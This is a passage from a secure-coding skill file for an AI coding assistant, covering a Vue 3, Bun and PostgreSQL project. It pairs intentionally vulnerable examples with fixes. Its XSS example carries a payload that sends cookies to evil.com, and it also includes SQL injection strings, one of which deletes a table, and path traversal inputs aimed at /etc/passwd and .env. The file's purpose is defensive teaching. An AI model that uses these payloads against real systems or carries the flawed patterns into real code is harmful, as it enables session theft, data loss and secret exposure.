security-auditor
Detects hardcoded secrets, SQL injection, XSS, path traversal, and insecure storage vulnerabilities. Specialized for Vue 3, TypeScript, Bun, PostgreSQL, and Redis in Poneglyph System. Keywords - security audit, vulnerability, sql injection, xss, secrets detection, security scan, vulnerability scan, security review
- Category: discovered
- Tags: github, community
- Version: 1.0.0
- Author: walid
- Downloads: 0
- Updated: 2025-11-22
Download the latest version (v1.0.0) from this page.
SKILL.md
---
name: security-auditor
description: Detects hardcoded secrets, SQL injection, XSS, path traversal, and insecure storage vulnerabilities. Specialized for Vue 3, TypeScript, Bun, PostgreSQL, and Redis in Poneglyph System. Keywords - security audit, vulnerability, sql injection, xss, secrets detection, security scan, vulnerability scan, security review
version: 1.0.0
---
# Security Auditor
Enforce secure coding practices in Poneglyph System by detecting vulnerabilities, preventing common attack vectors, and guiding secure implementations for Vue 3 + TypeScript frontend and Bun + PostgreSQL backend.
## When to Use This Skill
### Explicit Contexts
Activate when:
- Implementing authentication or authorization
- Handling user input or external data
- Storing sensitive information (tokens, credentials, API keys)
- Implementing file operations (upload, download, path handling)
- Making API calls or database queries
- Working with WebSocket connections
- Reviewing code for security vulnerabilities
- Implementing encryption or hashing
### Proactive Detection
Auto-suggest when detecting:
- Hardcoded API keys, tokens, secrets, or database credentials in code
- User input used without validation or sanitization
- File paths constructed from user input
- Plain text storage of sensitive data
- SQL queries constructed with string concatenation
- Vue templates with v-html (XSS risk)
- Redis connection strings without authentication
- WebSocket connections without authentication
- eval() or Function() usage in TypeScript/JavaScript
- Unencrypted HTTP requests
## Core Security Patterns (MANDATORY)
### 1. Input Validation & Sanitization (Vue 3 + TypeScript)
**Rule**: ALL user inputs MUST be validated and sanitized before processing, storage, or display using centralized validators.
❌ **WRONG - No validation, direct use**:
```typescript
// ❌ No validation on user input (Vue 3 component)
<script setup lang="ts">
import { ref } from 'vue';
const userName = ref('');
// ❌ Unvalidated input directly sent to API
async function saveUser() {
await fetch('/api/users', {
method: 'POST',
body: JSON.stringify({ name: userName.value }) // ❌ No validation
});
}
</script>
<template>
<input v-model="userName" />
<button @click="saveUser">Save</button>
</template>
<!-- RISK: XSS, injection attacks, malformed data -->
```
✅ **CORRECT - Centralized validation with Zod**:
```typescript
// utils/validators.ts - Centralized validation
import { z } from 'zod';
export const userNameSchema = z.string()
.min(1, 'Name is required')
.max(50, 'Name must be 50 characters or less')
.regex(/^[a-zA-Z\s]+$/, 'Name can only contain letters and spaces')
.transform(val => val.trim());
export const emailSchema = z.string()
.email('Invalid email address')
.toLowerCase();
export const eventNameSchema = z.string()
.min(1, 'Event name is required')
.max(100, 'Event name too long')
.regex(/^[a-zA-Z0-9\s_-]+$/, 'Invalid characters in event name');
// ✅ Vue component with validation
<script setup lang="ts">
import { ref } from 'vue';
import { userNameSchema } from '@/utils/validators';
const userName = ref('');
const errors = ref<string[]>([]);
async function saveUser() {
try {
// ✅ Validate before sending
const validatedName = userNameSchema.parse(userName.value);
await fetch('/api/users', {
method: 'POST',
body: JSON.stringify({ name: validatedName })
});
errors.value = [];
} catch (err) {
if (err instanceof z.ZodError) {
errors.value = err.errors.map(e => e.message);
}
}
}
</script>
<template>
<div>
<input v-model="userName" />
<button @click="saveUser">Save</button>
<p v-for="error in errors" :key="error" class="error">{{ error }}</p>
</div>
</template>
```
**Validation Rules (Poneglyph System)**:
- User names: Letters + spaces only, max 50 chars
- Event names: Alphanumeric + spaces/underscores, max 100 chars
- Timestamps: ISO 8601 format validation
- Email: RFC-compliant regex
- Numeric fields: Type validation + range checks
- URLs: Protocol validation (https only)
**Auto-Check**:
- [ ] All user inputs validated with Zod schemas?
- [ ] Input trimmed before storage (.trim())?
- [ ] Range validation applied to numeric inputs?
- [ ] Email/URL patterns validated?
### 2. SQL Injection Prevention (PostgreSQL + TypeScript)
**Rule**: NEVER construct SQL queries with string concatenation. ALWAYS use parameterized queries or ORM.
❌ **WRONG - String concatenation in SQL query**:
```typescript
// ❌ SQL injection vulnerability (Bun backend)
async function getEventsByUser(userId: string) {
// ❌ User input directly in query
const query = `SELECT * FROM events WHERE user_id = '${userId}'`;
const result = await db.query(query);
return result.rows;
}
// User can inject: userId = "1' OR '1'='1"
// Resulting query: SELECT * FROM events WHERE user_id = '1' OR '1'='1'
// RESULT: Returns ALL events, bypassing authentication
```
❌ **WRONG - Template literals without parameterization**:
```typescript
// ❌ Still vulnerable even with template literals
async function searchEvents(searchTerm: string) {
const query = `
SELECT * FROM events
WHERE event_data::text ILIKE '%${searchTerm}%'
`;
return await db.query(query);
}
// User can inject: searchTerm = "%'; DELETE FROM events; --"
// RISK: Data deletion, unauthorized access
```
✅ **CORRECT - Parameterized queries**:
```typescript
// ✅ Parameterized query with pg library (Poneglyph System)
import { Pool } from 'pg';
const db = new Pool({
connectionString: process.env.DATABASE_URL
});
async function getEventsByUser(userId: string) {
// ✅ Parameterized query - SQL injection safe
const query = `SELECT * FROM events WHERE user_id = $1`;
const result = await db.query(query, [userId]);
return result.rows;
}
async function searchEvents(searchTerm: string) {
// ✅ JSONB query with parameterization
const query = `
SELECT * FROM events
WHERE event_data::text ILIKE $1
`;
// ✅ Sanitize search term (add wildcards safely)
const sanitizedTerm = `%${searchTerm.replace(/[%_]/g, '\\amp;')}%`;
return await db.query(query, [sanitizedTerm]);
}
async function getEventsByType(eventType: string) {
// ✅ JSONB field access with parameterization
const query = `
SELECT * FROM events
WHERE event_data->>'event_type' = $1
ORDER BY created_at DESC
`;
return await db.query(query, [eventType]);
}
```
**PostgreSQL Safety Checklist (Poneglyph System)**:
- ✅ Use parameterized queries ($1, $2, etc.) for all user inputs
- ✅ Escape wildcards (%, _) in LIKE/ILIKE queries
- ✅ Use JSONB operators (->>, ->) with parameterization for event_data queries
- ✅ Validate input before query (Zod schemas)
- ❌ NEVER use string concatenation or template literals with user input
- ❌ NEVER use raw SQL with user-controlled WHERE clauses
**Auto-Check**:
- [ ] All SQL queries use parameterized format ($1, $2)?
- [ ] No string concatenation or template literals with user input?
- [ ] LIKE/ILIKE wildcards properly escaped?
- [ ] JSONB queries use parameterization?
### 3. XSS Prevention (Vue 3 Templates)
**Rule**: NEVER use v-html with user-generated content. Always use text interpolation {{ }} or DOMPurify for HTML sanitization.
❌ **WRONG - v-html with user content**:
```vue
<!-- ❌ XSS vulnerability in Vue template -->
<script setup lang="ts">
import { ref } from 'vue';
const userComment = ref(''); // User input
const comments = ref<string[]>([]);
function addComment() {
comments.value.push(userComment.value); // ❌ No sanitization
}
</script>
<template>
<div>
<input v-model="userComment" />
<button @click="addComment">Add Comment</button>
<!-- ❌ XSS: User can inject <script>alert('XSS')</script> -->
<div v-for="comment in comments" :key="comment" v-html="comment"></div>
</div>
</template>
<!-- User inputs: <img src=x onerror="fetch('https://evil.com?cookie='+document.cookie)"> -->
<!-- RESULT: Cookie theft, session hijacking -->
```
✅ **CORRECT - Text interpolation (safe by default)**:
```vue
<!-- ✅ Vue text interpolation automatically escapes HTML -->
<script setup lang="ts">
import { ref } from 'vue';
const userComment = ref('');
const comments = ref<string[]>([]);
function addComment() {
// ✅ Additional validation (optional but recommended)
if (userComment.value.trim()) {
comments.value.push(userComment.value.trim());
userComment.value = '';
}
}
</script>
<template>
<div>
<input v-model="userComment" />
<button @click="addComment">Add Comment</button>
<!-- ✅ Text interpolation - XSS safe (Vue escapes HTML automatically) -->
<div v-for="comment in comments" :key="comment">
{{ comment }}
</div>
</div>
</template>
<!-- User inputs: <script>alert('XSS')</script> -->
<!-- RENDERED AS: <script>alert('XSS')</script> -->
<!-- SAFE: Displayed as text, not executed -->
```
✅ **CORRECT - DOMPurify for trusted HTML (if absolutely needed)**:
```vue
<!-- ✅ DOMPurify sanitization for trusted HTML content -->
<script setup lang="ts">
import { ref, computed } from 'vue';
import DOMPurify from 'isomorphic-dompurify';
const userHTML = ref('');
// ✅ Sanitize HTML with DOMPurify
const sanitizedHTML = computed(() => {
return DOMPurify.sanitize(userHTML.value, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
ALLOWED_ATTR: ['href', 'target'],
ALLOW_DATA_ATTR: false
});
});
</script>
<template>
<div>
<!-- ✅ Only use v-html with sanitized content -->
<div v-html="sanitizedHTML"></div>
</div>
</template>
```
**Vue XSS Prevention Checklist**:
- ✅ Use {{ }} text interpolation for user content (default behavior)
- ✅ If v-html needed, sanitize with DOMPurify first
- ✅ Whitelist allowed HTML tags and attributes
- ❌ NEVER use v-html with raw user input
- ❌ NEVER use v-html with data from API without sanitization
**Auto-Check**:
- [ ] All user content displayed with {{ }} interpolation?
- [ ] v-html only used with DOMPurify sanitization?
- [ ] Allowed tags/attributes whitelisted?
- [ ] No raw user content in v-html?
### 4. No Hardcoded Secrets (TypeScript + Bun)
**Rule**: NEVER hardcode API keys, tokens, secrets, database credentials, or Redis connection strings in source code. Use environment variables.
❌ **WRONG - Hardcoded secrets in code**:
```typescript
// ❌ CRITICAL: Secrets in source code (committed to git!)
// backend/src/db.ts
export const dbConfig = {
host: 'localhost',
port: 5432,
user: 'postgres',
password: 'super_secret_password_123', // ❌ Hardcoded
database: 'poneglyph'
};
// ❌ Redis connection string hardcoded
export const redisUrl = 'redis://:secret_redis_password@localhost:6379'; // ❌ Exposed
// ❌ API key hardcoded
export const API_KEY = 'sk_live_51H7gK2L...'; // ❌ Leaked
// RISK: Secrets exposed in git history, decompiled code, CI logs
```
❌ **WRONG - Secrets in .env committed to git**:
```bash
# .env (❌ committed to git repository)
DATABASE_URL=postgresql://user:password@localhost:5432/db
REDIS_URL=redis://:password@localhost:6379
API_KEY=sk_live_51H7gK2L...
```
✅ **CORRECT - Environment variables with .env.example**:
```typescript
// ✅ Load from environment variables (backend/src/db.ts)
import { Pool } from 'pg';
// ✅ Load from .env file (NOT committed to git)
export const db = new Pool({
connectionString: process.env.DATABASE_URL
});
if (!process.env.DATABASE_URL) {
throw new Error('DATABASE_URL environment variable is required');
}
// ✅ Redis connection from environment
export const redisUrl = process.env.REDIS_URL || 'redis://localhost:6379';
// ✅ API key from environment
export const apiKey = process.env.API_KEY;
if (!apiKey) {
throw new Error('API_KEY environment variable is required');
}
```
```bash
# .env (✅ added to .gitignore, NOT committed)
DATABASE_URL=postgresql://postgres:local_dev_password@localhost:5432/poneglyph
REDIS_URL=redis://:dev_redis_password@localhost:6379
API_KEY=sk_live_51H7gK2L...
WEBSOCKET_SECRET=your_websocket_secret_here
```
```bash
# .env.example (✅ committed to git as template)
DATABASE_URL=postgresql://user:password@localhost:5432/poneglyph
REDIS_URL=redis://:password@localhost:6379
API_KEY=your_api_key_here
WEBSOCKET_SECRET=your_websocket_secret_here
```
```gitignore
# .gitignore (✅ ensure .env is excluded)
.env
.env.local
.env.production
*.env
```
**Environment Variable Checklist (Poneglyph System)**:
- ✅ DATABASE_URL in .env (PostgreSQL connection string)
- ✅ REDIS_URL in .env (Redis connection with auth)
- ✅ API_KEY in .env (external API keys)
- ✅ WEBSOCKET_SECRET in .env (WebSocket authentication)
- ✅ .env added to .gitignore
- ✅ .env.example committed (template with placeholder values)
- ❌ NEVER commit .env to git
- ❌ NEVER hardcode passwords, tokens, or API keys
**Auto-Check**:
- [ ] No hardcoded strings matching password/key patterns?
- [ ] .env file added to .gitignore?
- [ ] All secrets loaded from process.env?
- [ ] .env.example provided as template?
### 5. Path Traversal Prevention (Bun File Operations)
**Rule**: NEVER construct file paths from user input. Use whitelisted directories + sanitized filenames only.
❌ **WRONG - User input directly in path**:
```typescript
// ❌ Path traversal vulnerability (Bun backend)
async function loadUserFile(filename: string) {
// User can input: "../../../etc/passwd"
const filePath = `/app/uploads/${filename}`; // ❌ No sanitization
const file = Bun.file(filePath);
return await file.text();
}
// User exploits:
// - filename = "../../config/.env"
// - Access secrets and configuration files
```
✅ **CORRECT - Sanitized filename + whitelisted directory**:
```typescript
// ✅ Path traversal prevention (Bun backend)
import path from 'path';
// ✅ Whitelisted upload directory
const UPLOAD_DIR = path.resolve('/app/uploads');
async function loadUserFile(filename: string) {
// ✅ Sanitize filename: remove path separators
const sanitized = path.basename(filename); // Strips ../ and /
// ✅ Validate filename characters (alphanumeric + safe chars only)
if (!/^[a-zA-Z0-9_\-\.]+$/.test(sanitized)) {
throw new Error(`Invalid filename characters: ${sanitized}`);
}
// ✅ Construct safe path within whitelisted directory
const safePath = path.join(UPLOAD_DIR, sanitized);
// ✅ Double-check: ensure resolved path is still inside UPLOAD_DIR
const resolvedPath = path.resolve(safePath);
if (!resolvedPath.startsWith(UPLOAD_DIR)) {
throw new Error(`Path traversal attempt blocked: ${filename}`);
}
// ✅ Safe to load file
const file = Bun.file(resolvedPath);
// ✅ Check if file exists
if (!(await file.exists())) {
throw new Error(`File not found: ${sanitized}`);
}
return await file.text();
}
async function uploadUserFile(filename: string, content: string) {
// ✅ Apply same sanitization for uploads
const sanitized = path.basename(filename);
if (!/^[a-zA-Z0-9_\-\.]+$/.test(sanitized)) {
throw new Error(`Invalid filename: ${filename}`);
}
const safePath = path.join(UPLOAD_DIR, sanitized);
const resolvedPath = path.resolve(safePath);
if (!resolvedPath.startsWith(UPLOAD_DIR)) {
throw new Error(`Path traversal attempt blocked: ${filename}`);
}
// ✅ Safe to write file
await Bun.write(resolvedPath, content);
return { filename: sanitized, path: safePath };
}
```
**Path Safety Checklist (Bun)**:
- ✅ Use path.basename() to strip directory components
- ✅ Validate filename with alphanumeric + safe chars regex
- ✅ Use path.resolve() + startsWith() to verify final path is inside safe directory
- ✅ Define whitelisted directories (UPLOAD_DIR, LOGS_DIR, etc.)
- ❌ NEVER concatenate user input with file paths
- ❌ NEVER trust user-provided file extensions without validation
**Auto-Check**:
- [ ] All file paths use whitelisted directories?
- [ ] User-provided filenames sanitized with path.basename()?
- [ ] Filename regex validation applied?
- [ ] Path resolution verification with startsWith()?
### 6. WebSocket Authentication (Bun WebSocket Server)
**Rule**: ALWAYS authenticate WebSocket connections before allowing communication. NEVER trust client-provided identifiers.
❌ **WRONG - Unauthenticated WebSocket**:
```typescript
// ❌ No authentication on WebSocket connection (Bun server)
Bun.serve({
port: 3000,
fetch(req, server) {
// ❌ Accept all WebSocket connections without verification
if (server.upgrade(req)) {
return; // WebSocket upgraded
}
return new Response('Not a WebSocket', { status: 400 });
},
websocket: {
message(ws, message) {
// ❌ No verification of sender identity
const data = JSON.parse(message);
// ❌ Broadcast to all without authorization check
ws.send(JSON.stringify({ type: 'broadcast', data }));
}
}
});
// RISK: Unauthorized access, data leakage, spoofing
```
✅ **CORRECT - Authenticated WebSocket with JWT**:
```typescript
// ✅ WebSocket authentication with JWT (Bun server)
import jwt from 'jsonwebtoken';
const JWT_SECRET = process.env.JWT_SECRET!;
interface WSData {
userId: string;
authenticated: boolean;
}
Bun.serve({
port: 3000,
fetch(req, server) {
// ✅ Extract auth token from query params or headers
const url = new URL(req.url);
const token = url.searchParams.get('token') || req.headers.get('Authorization')?.replace('Bearer ', '');
if (!token) {
return new Response('Unauthorized: Missing token', { status: 401 });
}
try {
// ✅ Verify JWT token
const decoded = jwt.verify(token, JWT_SECRET) as { userId: string };
// ✅ Upgrade with authenticated user data
if (server.upgrade(req, {
data: {
userId: decoded.userId,
authenticated: true
} as WSData
})) {
return; // WebSocket upgraded with auth
}
} catch (err) {
return new Response('Unauthorized: Invalid token', { status: 401 });
}
return new Response('Failed to upgrade', { status: 500 });
},
websocket: {
message(ws, message) {
// ✅ Access authenticated user data
const { userId, authenticated } = ws.data as WSData;
if (!authenticated) {
ws.close(1008, 'Unauthorized');
return;
}
const data = JSON.parse(message);
// ✅ Authorize actions based on user identity
if (data.type === 'subscribe') {
// Check if user has permission to subscribe to this room
if (canUserAccessRoom(userId, data.room)) {
ws.subscribe(data.room);
ws.send(JSON.stringify({ type: 'subscribed', room: data.room }));
} else {
ws.send(JSON.stringify({ type: 'error', message: 'Unauthorized' }));
}
}
},
close(ws) {
// ✅ Clean up on disconnect
const { userId } = ws.data as WSData;
console.log(`User ${userId} disconnected`);
}
}
});
function canUserAccessRoom(userId: string, room: string): boolean {
// ✅ Implement room-level authorization logic
// Example: Check if user has permission to access this room
return true; // Replace with actual authorization check
}
```
**WebSocket Security Checklist (Poneglyph System)**:
- ✅ Verify JWT token before upgrading WebSocket connection
- ✅ Store authenticated user data in ws.data
- ✅ Implement room-level authorization (canUserAccessRoom)
- ✅ Close unauthorized connections with ws.close()
- ✅ Use secure WebSocket (wss://) in production
- ❌ NEVER trust client-provided user IDs
- ❌ NEVER allow unauthenticated WebSocket connections
**Auto-Check**:
- [ ] WebSocket upgrade verifies JWT token?
- [ ] User identity stored in ws.data?
- [ ] Room subscriptions authorized per user?
- [ ] Secure WebSocket (wss://) in production?
## Anti-Patterns to PREVENT
### 1. Direct User Input Without Validation (Vue 3)
❌ **ANTI-PATTERN**:
```vue
<script setup lang="ts">
const userName = ref('');
function saveUser() {
// ❌ No validation
fetch('/api/users', { method: 'POST', body: JSON.stringify({ name: use